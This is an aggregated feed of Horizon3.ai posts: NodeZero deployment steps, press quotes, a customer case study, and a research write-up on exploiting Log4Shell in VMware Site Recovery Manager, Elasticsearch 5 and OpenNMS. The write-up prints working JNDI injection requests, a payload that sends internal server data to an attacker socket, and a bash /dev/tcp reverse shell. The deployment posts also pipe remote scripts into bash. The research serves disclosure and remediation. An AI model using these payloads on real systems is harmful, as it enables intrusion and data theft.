🔒
There are new articles available, click to refresh the page.
Before yesterdayHorizon3.ai

Deploying NodeZero Host

9 August 2022 at 15:22

Product Overview

NodeZero is Horizon3.ai’s flagship Autonomous Pentesting service.  It allows anyone to easily start a pentest, find, fix, and verify hundreds of exploitable vulnerabilities.

Deploying the NodeZero Host

NodeZero utilizes the open source software Docker.  Docker is a container solution which runs applications in siloed environments on a shared host, typically Linux.  A NodeZero admin doesn’t need any Docker knowledge aside from having a host with Docker installed.  

We’ve made it easy to deploy a host that is perfectly suited to run NodeZero.  Below, you’ll find a few options.

Build from Photon ISO

In this example, we’re going to deploy Photon Linux (built by VMWare) using their ISO and then run a script from the console that sets the NodeZero host up.

  • Deploy in your hypervisor of choice.  Use the following settings:
    • 2 CPU’s
    • 8 GB RAM
    • 40 GB HDD
    • Networking should use BRIDGE, NOT NAT.  Set it to use the best network to see traffic.
    • CD-ROM : Attach the .ISO and set it to boot to it.  (NOTE : You’ll likely need to upload the .ISO to your datastore.)

Once the VM is deployed, boot it (verify it boots to the ISO) and run through the installation.  Make sure to set it for either DHCP or Static IP.

Log into the VM using the root password you set during installation, then run the following script.  You’re going to have to type it into the console.
curl https://nodezero.s3.amazonaws.com/build_n0.sh | bash
Once this runs and finishes, you’ll be able to SSH to this VM and paste in the launch script from the Portal.

Build from H3’s ISO

In this example, we’re going to deploy Photon Linux (built by VMWare) using H3’s ISO which will automatically configure the system.

  • Download the H3 NodeZero.iso file.  
  • Deploy in any hypervisor with photon 4.0 support (VirtualBox, VMware, Hyper-V) with the following settings:
    • 2 CPU’s
    • 8 GB RAM
    • 40 GB HDD
    • Networking should use BRIDGE, NOT NAT.  Set it to use the best network to see traffic.
    • CD-ROM : Attach the .ISO and set it to boot to it.  (NOTE : You’ll likely need to upload the .ISO to your datastore.)

Once the VM is deployed, boot it (verify it boots to the ISO) and run through the installation.

If you select DHCP the system will install itself completely and reboot.  Next, login in as root with the initial password of “nodezero”.  Note the VMs IP address, logout and login using an SSH (i.e. PuTTY) connection.  Once logged in via SSH, paste the launch script from the portal.

If static was selected, complete the installation by logging in as root, and typing the following command manually (paste may not function) into the console.

curl https://s3.amazonaws.com/nodezero/build_n0_photon.sh | bash

Once this runs and finishes, you’ll be able to SSH to this VM and paste in the launch script from the Portal.

Deploy H3 pre-built virtual machines

In this example, we’re going to deploy a pre-built virtual machine on an existing hypervisor.  This OVA will be used as the launch point for NodeZero.  Although this Docker host will be used as the base for launching operations executed in the environment, it can be left in place, destroyed, or re-deployed at any time.  Download the appropriate pre-packaged virtual machine (VM) by clicking on link below the platform icon of choice:

Deployment Platform
Virtual Box
VMware
Hyper-V
Step 1. Download and extract VM
Step 2. Deploy virtual machine

NodeZero virtual machines have been built from a minimal install of Photon 4.0 Linux with the following hardware settings: Linux x86/64, 2 cores, 8gb RAM, 40gb of storage, and a bridge network adapter. 

  • Boot newly deployed VM and login as root (initial password “nodezero”)
  • Take note of displayed IP address and logout
  • SSH (i.e. PuTTY) to IP noted IP address
  • Paste launch script and press enter to start attack

The post Deploying NodeZero Host appeared first on Horizon3.ai.

Downloads Page

8 August 2022 at 18:59

Welcome to the Horizon3.ai downloads page!

The post Downloads Page appeared first on Horizon3.ai.

Host Check Script

8 August 2022 at 18:45

Download the host check script to see if your docker host is ready to run NodeZero.

Alternatively, you can copy/paste this command into your terminal to run immediately:

curl https://downloads.horizon3ai.com/checkenv.sh | bash

NOTE: This does not actually launch a pentest

Troubleshooting / Known Issues

NOEXEC flag on partition

Sometimes users report issues running the health check because they are launching it from within a partition that denies execution. We recommend first cd’ing to $HOME prior to running the health check for good measure:

> cd ~
> curl https://downloads.horizon3ai.com/checkenv.sh | bash

The post Host Check Script appeared first on Horizon3.ai.

Spunk App

9 August 2022 at 15:10

The NodeZero App for Splunk is available on Splunkbase.

The post Spunk App appeared first on Horizon3.ai.

Higher Education Institution Finds a Real Look at Vulnerabilities and Exploits with NodeZero

8 August 2022 at 20:05

When the Desert Research Institute (DRI) of Reno, NV, a higher education organization focusing on applied environmental research, needed a way to run penetration testing and vulnerability scanning at an affordable cost, they found NodeZero.

“DRI is a soft money funded organization, so we are always budget focused, and what drew us to [Horizon3.ai] was the ability to get a full featured, easy to use pentest program at a price we can afford. The fact that NodeZero is autonomous makes things significantly easier,” says Ryan Coots, Information Security Officer with DRI. “We don’t have to pay a red team to do an expensive, in-person comb-through of our security controls.”

DRI had used other products before, but found that after a one-year deal, the price would jump to an unaffordable price point.

“And then we’d have to start over with a new tool,” says Coots.

DRI has a highly segmented environment with approximately 100 different subnets, giving them about 5,000 IP addresses across all their networks and campuses. NodeZero has helped with keeping their network secure, as well as improving visibility across the board.

“We have a couple of non-centrally managed IT groups at DRI that have the ability to spin up their own network servers, and we don’t always have deep visibility on those machines. Where NodeZero helps us here is we can now scan those servers, find exploitable vulnerabilities and misconfigurations, and work with those groups to remediate them,” says Coots.

Where NodeZero Excelled

DRI looked at several competing products, all of which were strictly
vulnerability scanners.

“NodeZero is more of a pentest tool that uses vulnerabilities to try and exploit actual gaps that exist in systems,” says Coots. “The difference is NodeZero takes it one step further to try to actually carry out an attack in a safe manner. As this is all done via A.I. and an easy-to-use dashboard, this serves our needs well.”

Other products simply scan against a database of vulnerabilities, he says.

“Additionally, NodeZero looks for weak credentials and other holes, vulnerabilities, or misconfigurations an attacker could use to break into the system,” says Coots, whereas NodeZero has a more complete process.

“It’s very easy to set up and use, very affordable, and has very few issues with penetration testing and scanning,” he says.

Another benefit to NodeZero: while it runs an intense test, it doesn’t tax resources or interrupt the workflow of the end users, which DRI had found with other products.

“Other scans are very aggressive and in-depth and can knock out a system or cause a disruption – we haven’t had that with NodeZero,” says Coots.

The Benefits of External Pentesting

DRI was quick to make use of NodeZero’s external pentesting option when released in early 2022.

“That was a huge help,” says Coots. “Previously we had to coordinate with an outside group or even pay to have our public subnets externally scanned. The ability to launch my own external pentest has been extremely useful to us. We’ve already run one with great results, remediated any issues and then verified the remediations worked. That ability to verify a fix is one of the biggest features for us.”

As a Design Partner, Coots had shared the desire for external pentesting with the Horizon3.ai team previously, who he says is always responsive and open to suggestions and feedback.

How DRI uses NodeZero

Coots has enabled a small, junior team to run NodeZero pentests, but all of IT has read-only access so they can review the hosts, operations, and remediation options. This fosters relationships between the IT staff and helps
them focus on security.

“They can see: Here’s a vulnerability, here are the remediation options, and here’s why we should go fix it,” says Coots.

One-click verification of remediation has been a significant benefit for ensuring when something is fixed, it truly is fixed, explains Coots.
“There is no more ‘I think I’ve fixed this issue’ – now we run a 1-click verify op and confirm that it’s fixed,” he says.

The short learning curve to use NodeZero has helped make it a success for DRI, Coots explains.

“It’s pretty much; you have a Docker instance, you give it an IP range to scan, and off it goes – the automation is critical when you have a small staff,” he says.

This has enabled DRI to run pentests more often. They’ve been running 40-plus tests monthly at this point, and Coots is working on a recurring quarterly schedule.

“I scan 100 different network segments a quarter, when the scans are complete, we then combine the results into a spreadsheet and sort by severity which is based on how NodeZero classifies them. We’re able to start from the top down and remediate,” says Coots.

Coots uses NodeZero to improve the scanning process for DRI’s highly segmented environments. Since NodeZero is fully containerized, it is portable and easy to configure for multiple network segments.

This allows Coots to scan segments as if there were no protections in place in each segment.

“With the setup now, I take the firewall out of the equation,” says Coots. “I put the NodeZero container in the same subnet I am scanning, and because the scan is contained within the same network segment, it doesn’t trigger the firewall which would normally limit the results of any vulnerability or pentest scan. The result is a much more in-depth scan and a real look at vulnerabilities and exploits within a network segment. We’re able to get significantly more information out of each operation.”

The post Higher Education Institution Finds a Real Look at Vulnerabilities and Exploits with NodeZero appeared first on Horizon3.ai.

BlackCat Ransomware Hits European Gas Pipeline

2 August 2022 at 15:04

Information Security Buzz: 08/2/22

With such a breach, there is a lot on people’s minds, but so far there is little for them to do except change their passwords. Whether this will be effective enough to protect people from further damage is currently up for debate, but overall, organizations need to learn that if one part of their infrastructure is sick, the infection can spread.

Read the entire article here

The post BlackCat Ransomware Hits European Gas Pipeline appeared first on Horizon3.ai.

IBM Annual Cost of Data Breach Report 2022: Record Costs Usually Passed On to Consumers, “Long Breach” Expenses Make Up Half of Total Damage

1 August 2022 at 15:02

CPO Magazine: 08/1/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, sees a potential consumer backlash on the horizon once public awareness of this practice grows: “It’s already a breach of confidence to lose the confidential data of customers, and sure there’s bound to be an organization across those surveyed who genuinely did put in the effort to protect against and curb attacks, but for those who did nothing, those who, instead of creating a disaster recovery plan, just bought cyber insurance to cover the org’s operational losses, and those who simply didn’t care enough to heed the warnings, it’s the coup de grâce to then pass the cost of breaches to the same customers who are now the victims of a data breach.

Read the entire article here

The post IBM Annual Cost of Data Breach Report 2022: Record Costs Usually Passed On to Consumers, “Long Breach” Expenses Make Up Half of Total Damage appeared first on Horizon3.ai.

Businesses confess: We pass cyberattack costs onto customers

29 July 2022 at 19:26

The Register: 07/29/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, laid a lot of the blame at the feet of the organizations, saying that the warning signs about data breaches have been flashing red for the last decade.

Read the entire article here

The post Businesses confess: We pass cyberattack costs onto customers appeared first on Horizon3.ai.

IBM Finds Data Breach Costs Rise to $4.3M – And Firms Are Passing the Cost to Customers

28 July 2022 at 18:05

Enterprise Security Tech: 07/28/22

For at least the last decade, there have been warning signs left and right that data breaches are an imminent part of business.

Read the entire article here

The post IBM Finds Data Breach Costs Rise to $4.3M – And Firms Are Passing the Cost to Customers appeared first on Horizon3.ai.

Sudden Increase In Attacks On Modern WPBakery Page Builder Addons Vulnerability – Expert Comments

18 July 2022 at 18:08

Information Security Buzz: 07/18/22

Attacks like this target and prey on the laymen who aren’t keeping up with the latest security research, attack paths, and EOL products.

Read the entire article here

The post Sudden Increase In Attacks On Modern WPBakery Page Builder Addons Vulnerability – Expert Comments appeared first on Horizon3.ai.

Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board

15 July 2022 at 18:11

Bank Info Security: 07/15/22

Cybersecurity firm Horizon3.ai detected the exploitation of Log4j in close to a quarter of the environments it was run in. Known vulnerabilities in widely deployed applications such as virtual desktops or wireless access points are just the beginning. “There are probably thousands of Java applications impacted by Log4shell to varying degrees,” it says.

Read the entire article here

The post Log4j Flaw Is ‘Endemic,’ Says Cyber Safety Review Board appeared first on Horizon3.ai.

IT giant restores systems after ‘malware attack’ crippled operations

12 July 2022 at 18:15

The Record: 07/12/22

While SHI has denied repeatedly that no customer information was accessed, Horizon3ai cybersecurity expert Brad Hong said it will be interesting to see over the next weeks and even years what the true impact of the attack is on SHI, its confidential/proprietary data, and most importantly, its customers.

Read the entire article here

The post IT giant restores systems after ‘malware attack’ crippled operations appeared first on Horizon3.ai.

Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool

2 July 2022 at 18:16

Security Affairs: 07/2/22

The unauthenticated remote code execution vulnerability was discovered by security researcher Naveen Sunkavally at Horizon3.ai and addressed by the vendor in March.

Read the entire article here

The post Experts shared PoC exploit code for RCE in Zoho ManageEngine ADAudit Plus tool appeared first on Horizon3.ai.

“Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it

1 July 2022 at 18:20

The Stack: 07/1/22

The vulnerabilities were in Zoho ManageEngine ADAudit Plus and allocated CVE-2022-28219. They were reported by US security firm Horizon3.ai which said it regularly encounters the product in penetration tests and that it could be an attractive target to attackers “because of the privileged access [it has] to Active Directory.”.

Read the entire article here

The post “Audit this”: Active Directory audit tool had a pre-auth RCE-shaped hole in it appeared first on Horizon3.ai.

Zoho ManageEngine ADAudit Plus bug gets public RCE exploit

1 July 2022 at 18:19

Bleeping Computer: 07/1/22

Earlier this week, Horizon3.ai published a blog post explaining the technical aspects behind CVE-2022-28219 along with proof-of-concept exploit code that demonstrates the findings..

Read the entire article here

The post Zoho ManageEngine ADAudit Plus bug gets public RCE exploit appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

30 June 2022 at 18:23

AIthority: 06/30/22

“Security teams are overextended and universally share that one of the hardest parts of cybersecurity is deciding what not to fix,” said Snehal Antani, Horizon3.ai Co-Founder and CEO, and the Former CTO of the US Joint Special Operations Command (JSOC). “We specifically developed NodeZero to filter the noise and make it unmistakably apparent which critical impacts must be fixed immediately, so that organizations stop wasting precious time and resources chasing down vulnerabilities that don’t pose a threat to the business.”

Read the entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

Businesses confess: We pass cyberattack costs onto customers

29 July 2022 at 18:03

The Register: 07/29/22

Brad Hong, customer success manager for cybersecurity company Horizon3ai, laid a lot of the blame at the feet of the organizations, said that the warning signs about data breaches have been flashing red for the last decade.

Read the entire article here

The post Businesses confess: We pass cyberattack costs onto customers appeared first on Horizon3.ai.

The Long Tail of Log4Shell Exploitation

13 July 2022 at 12:54

It’s been more than six months since the Log4Shell vulnerability (CVE-2021-44228) was disclosed, and a number of post-mortems have come out talking about lessons learned and ways to prevent the next Log4Shell-type event from happening. The reality on the ground though is that the vulnerability is far from dead. For the first six months of this year, NodeZero, our autonomous pentesting tool, has detected and exploited Log4Shell in close to a quarter of the environments it’s run in, and that rate has held steady month over month. This is consistent with the recent CISA advisory sounding the alarm that threat actors are continuing to exploit VMWare Horizon servers using Log4Shell.

 

Month (2022)
% Internal Networks that NodeZero Detected & Exploited Log4Shell
January 22.0
February 25.9
March 32.1
April 23.3
May 18.5
June 22.1
Total 23.5

 

Naturally a lot of exploitation of Log4Shell to date has been focused on well-known, widely deployed applications such as VMware Horizon, VMware vCenter, and the Unifi Network application. But this is the tip of the iceberg. There are probably thousands of Java applications out there impacted by Log4shell to varying degrees, and thousands of new exploit paths to be discovered. All it takes is for a motivated attacker to turn his or her focus onto a specific application being run by an enterprise, and within a day or two, an exploit can be potentially developed and weaponized.

We’ll walk through the exploit process below, leading to remote code execution, against a few applications: VMware Site Recovery Manager, Elasticsearch 5, and OpenNMS. The purpose of this is to demonstrate the widespread and long-standing impact of Log4Shell and the speed at which exploits can be developed. Ultimately, one of the goals of NodeZero as a pentesting tool is to surface the true impact of various vulnerabilities, misconfigurations, and compromised credentials. We believe this impact is best demonstrated through proof of actual exploitation. We’ve seen that knowledge of this kind of impact is what enables companies to accurately evaluate risk and prioritize the work needed to best improve their security posture.

Background

We assume readers are familiar with how the Log4Shell vulnerability works. If you need a refresher, we’ve written previously about Log4Shell before here and here.

In general, the exploit process for Log4Shell consists of two steps:
  • Identifying a JNDI lookup injection point: This is the network request that an unauthenticated attacker sends to the application that will cause the application to log a message using the vulnerable Apache log4j2 library, which in turn will cause the application to make a JNDI lookup to an attacker-hosted server.
  • Figuring out what Java payload to serve from the attacker-hosted server: This is the payload that’s retrieved by the vulnerable application via the JNDI lookup and deserialized to execute remote code.

For the first step, to verify the JNDI lookup injection point, we used the DNSLog service at dnslog.cn to catch DNS callbacks from the vulnerable application. Other tools like Burp Collaborator or an Interactsh server can also be used for this purpose.

Exploiting VMware Site Recovery Manager

VMware Site Recovery Manager is “the industry-leading disaster recovery (DR) management solution, designed to minimize downtime in case of a disaster.” It’s one of many VMware applications affected by Log4Shell from the VMware Log4Shell advisory. We installed version 8.3.0 in our lab. The application exposes two ports, 443 for the SRM application and 5480 for managing the SRM appliance.

Detection

For a quick win, we initially tried inserting a JNDI payload into the username field of the login form of the SRM application, but we failed to get a DNS callback. So then we pulled the jar files from the SRM appliance and decompiled them, and starting probing API endpoints that an unauthenticated attacker could access. Shortly after we identified an injection point in the OAuth2LoginServlet using the error parameter. The servlet is accessible at the /dr/authentication/oauth2/oauth2login endpoint.

We verified the injection point by sending an HTTP GET request of this form:

curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:ldap:%2f%2fil2gm4.dnslog.cn:1389%7D'
And got the expected DNS callback:

Exploitation

Just like Horizon and vCenter, SRM uses Apache Tomcat as its application server. Tomcat-based applications that are vulnerable to Log4Shell are easy to exploit for remote code execution, regardless of the Java runtime version. The general technique is described here and automated by the JNDI-Exploit-Kit tool.

We started up JNDI-Exploit-Kit on the attacker server to serve a bash reverse shell payload, and a netcat listener to catch a reverse shell on port 9999:

Then fired off the HTTP request to trigger the callback to the JNDI-Exploit-Kit server:
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:rmi:%2f%2f10.0.220.200:1099%2fnyceyo%7D'
And got a shell as the tomcat user:
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable SRM instance:

Impact

SRM is not typically deployed to be Internet facing. We only found ~20 of them publicly exposed using Shodan. However we do see it occasionally in internal pentests, and it could be an attractive target for threat actors seeking to make a ransomware incident even more painful by disrupting disaster recovery plans. We recommend updating the appliance to the latest version per VMware’s advisory or applying the  workaround described here.

Exploiting Elasticsearch 5

Elasticsearch is a popular open-source distributed search and analytics engine. The Elasticsearch advisory for Log4Shell says that only Elasticsearch 5 is vulnerable to remote code execution because of the way Elasticsearch uses the Java Security Manager to lock down permissions. We were able to confirm this is the case – in vulnerable versions of Elasticsearch versions 6 and beyond, the application will perform DNS lookups of attacker-controlled host names but not initiate any TCP connections to attacker-controlled servers. The DNS lookups can be used to leak system information such as environment variables, but remote code execution is not possible. This can be seen through the difference in the security.policy file for version 5.6 vs. version 6.0.

For testing we set up various versions of Elasticsearch 5 from the Elasticsearch docker repo at docker.elastic.co/elasticsearch.

Detection

We found a few methods to trigger JNDI lookups through the Elasticsearch REST API by creating resources like types or triggering deprecation warnings. However we found these methods to be too destructive/noisy, or they didn’t work universally against all versions of Elasticsearch 5.

Looking more closely at the source code and issues on Github, we found an issue indicating that sending a malformed JSON as part of a search request will trigger an internal server error that is then logged. We verified this works against all versions of Elasticsearch 5 and beyond up to 7.6. For instance:

curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://oyfbln.dnslog.cn%7D' -d '{'

Triggers this error:

Which results in a DNS callback:

Exploitation

Elasticsearch runs on the Netty framework, so the Tomcat-based exploit used against VMware Site Recovery Manager doesn’t apply here. We decided to explore the next best option, which is a remote class-loading attack against applications running with Java runtime versions < 8u191. This remote class-loading attack is automated by tools like rogue-jndi.

We pulled a bunch of different versions of Elasticsearch 5 from the docker.elastic.co/elasticsearch repo to understand the Java runtime version they were bundled with. We found that all versions from 5.0.0 to 5.6.12 were running Java runtime versions < 8u191, and versions from 5.6.13 to 5.6.16 were running Java runtime >= 8u191. While not everyone runs Elasticsearch using Docker images from docker.elastic.co/elasticsearch, we surmise from this that most of the Elasticsearch 5 instances running in the wild are exploitable to remote code execution using the remote class-loading attack.

One wrinkle we discovered with exploitation is that remote code execution is not the same as arbitrary code execution. In particular, because of Elasticsearch’s usage of the Security Manager, running host commands directly with Runtime.exec or ProcessBuilder was not possible, and access to the file system was limited. We did find it was possible to make arbitrary network calls, read from/write to a few directories like /tmp, and run stuff in memory like a crypto miner.

For instance, to send a network request to an internal server hosted at 10.0.220.54 and send the response back to the attacker’s server on port 9999, we modified the HTTPServer class in rogue-jndi to use the following payload:

{ new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var response = \'\'; var is = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL(\'http://10.0.220.54\').openStream())); var inputLine=null; while( (inputLine=is.readLine()) != null) response += inputLine; is.close(); var s = new java.net.Socket(\'192.168.0.140\', 9999); var os = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); os.write(response); os.flush(); s.close();\"); }
We set up a simple test internal server on 10.0.220.54:
Then started up rogue-jndi and netcat listener on port 9999:
And sent the request to trigger the JNDI lookup:
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://192.168.0.140:1389/o=reference%7D' -d '{'
Which resulted in exfiltrating data from the internal server:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable Elasticsearch instance:

To exploit Elasticsearch 5 versions running with Java >= 8u191, a deserialization gadget must be found among the libraries in the classpath of the Elasticsearch application. We noticed that Elasticsearch 5 pulls in the groovy-2.4.6-indy.jar library, which is vulnerable to CVE-2016-6814 and exploitable using the technique described here. However, we were thwarted from executing this gadget by the Security Manager and did not pursue exploitation further.

Impact

Using the Shodan API, we found a total of 22914 Elasticsearch servers exposed on the Internet without authentication. Of these, 1275 were found to be running Elasticsearch 5, and among those, 955 servers are running a version <= 5.6.12, and therefore are likely to be running a Java runtime < 8u191. Based on this we estimate there are roughly 900-1000 Elasticsearch 5 servers on the Internet that are exploitable to remote code execution using the technique described above. Of course, it’s already bad to have an open Elasticsearch server on the Internet – now those servers can also be abused to pivot into internal networks. If you’re running a vulnerable version of Elasticsearch, we recommend following the remediation guidance in the Elasticsearch advisory to update to the latest or apply a work-around.

Kudos must be given to the Elasticsearch team for its prescient usage of the Java Security Manager and practicing “defense-in-depth.” The fallout for Elasticsearch users could have been much worse. Only a handful of Java applications have taken advantage of the Security Manager, and it’ll be interesting to see the path forward with the removal of the Security Manager with JEP-411.

Exploiting OpenNMS

OpenNMS is an open source network monitoring solution. We installed OpenNMS Horizon version 26.2.2 using the docker-compose template from here.

Detection

For a quick win, we tried injecting a JNDI payload into the username field of the login form… and it worked.

The DNS callback:

Using curl:

curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://72qhcc.dnslog.cn:1389}&j_password=abcd&j_usergroups=&Login='

We checked the logs and found the username was getting logged by the HybridOpenNMSUserAuthenticationProvider  class.

In Github:

Exploitation

The version of OpenNMS we were using was running with Java 11.07 using Jetty as an application server. This means the Tomcat-based exploit we used against VMware Site Recovery Manager and the older JVM based exploit we used against Elasticsearch 5 weren’t going to work. We moved to option 3: finding a deserialization gadget in one of the libraries pulled in locally OpenNMS. Looking through the jars, we found commons-beanutils-1.9.4.jar, for which there is a well-known deserialization gadget available using ysoserial.

Using the ysoserial-modified project, we created our reverse shell payload:

$JAVA_HOME/bin/java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutils1 bash 'bash -i >& /dev/tcp/192.168.0.140/9999 0>&1' > test_payload

Then served it using JNDI-Exploit-Kit and fired up a netcat listener on port 9999:

Then sent the curl request to trigger the exploit:

curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://192.168.0.140:1389/serial/CustomPayload}&j_password=abcd&j_usergroups=&Login='

And got the reverse shell:

NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable OpenNMS instance:

Impact

OpenNMS is not commonly deployed to be Internet-facing. Using Shodan, we found about ~100 public instances of it. We do occasionally run into it in internal pentests though, and it can also be embedded in products like Juniper Junos Space. From an attacker perspective, network monitoring solutions in general are attractive targets to compromise because they typically store credentials used to access other infrastructure in the environment. We recommend updating to the latest version per the OpenNMS advisory.

Conclusion

Attackers are opportunistic. As we’ve shown above, Log4shell is a vulnerability that opens up lots of opportunities. It’s normally difficult, if not impossible, for the average attacker to discover vulnerabilities leading to unauthenticated remote code execution in established applications. Log4Shell enables exactly that across lots of applications, and it’s something that can be easily weaponized by attackers on the fly.

Here’s roughly how long it took us to get to unauthenticated remote code execution in each of the above applications:

 

Application Time to Install and Configure Time to RCE
VMware Site Recovery Manager 8.3.0 1 day 1 hour
Elasticsearch 5 1/2 day 1 day
OpenNMS Horizon 26.2.2 1 hour 1 hour

 

In an ideal world, after the Log4shell vulnerability was disclosed last year, all enterprises would have spent 2-3 weeks to enumerate all vulnerable applications in their environment and patch them. The reality is that enterprise patch cycles can be slow. NodeZero still occasionally encounters domain controllers that aren’t patched for critical vulnerabilities like Zerologon (CVE-2020-1472), and routinely sees Eternal Blue (CVE-2017-0143) five years after it was disclosed.

Furthermore, outside of very large enterprises, many companies operate with limited resources, must prioritize remediation relative to other work, and have to consider possible business downtime caused by patching. Log4Shell brings extra complexity to the mix because of the sheer number of applications it impacts. Patching for Log4Shell is also not always just clicking an “update” button; legacy applications may lack support altogether. And even after patching, we’ve encountered cases where the patch didn’t work as expected and needed to be re-done.

All this means that Log4Shell will be around for a very long time. We believe that the more we can do to surface the true impact of Log4Shell against vulnerable applications, the more likely it is that companies will take the steps necessary to remediate those applications, before the bad guys can get to them.

References

The post The Long Tail of Log4Shell Exploitation appeared first on Horizon3.ai.

Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List

29 June 2022 at 14:31
By: Cassie

Business Wire: 06/29/22

Horizon3.ai, a cybersecurity firm focused on autonomous penetration testing, announced today that Midsize Enterprise Services (MES), a brand of The Channel Company, has recognized Horizon3.ai on its 2022 MES Matters – Key Vendors Serving the Midmarket list.

Read entire article here

The post Horizon3.ai Named to First-ever MES Matters – Key Vendors Serving the Midmarket List appeared first on Horizon3.ai.

❌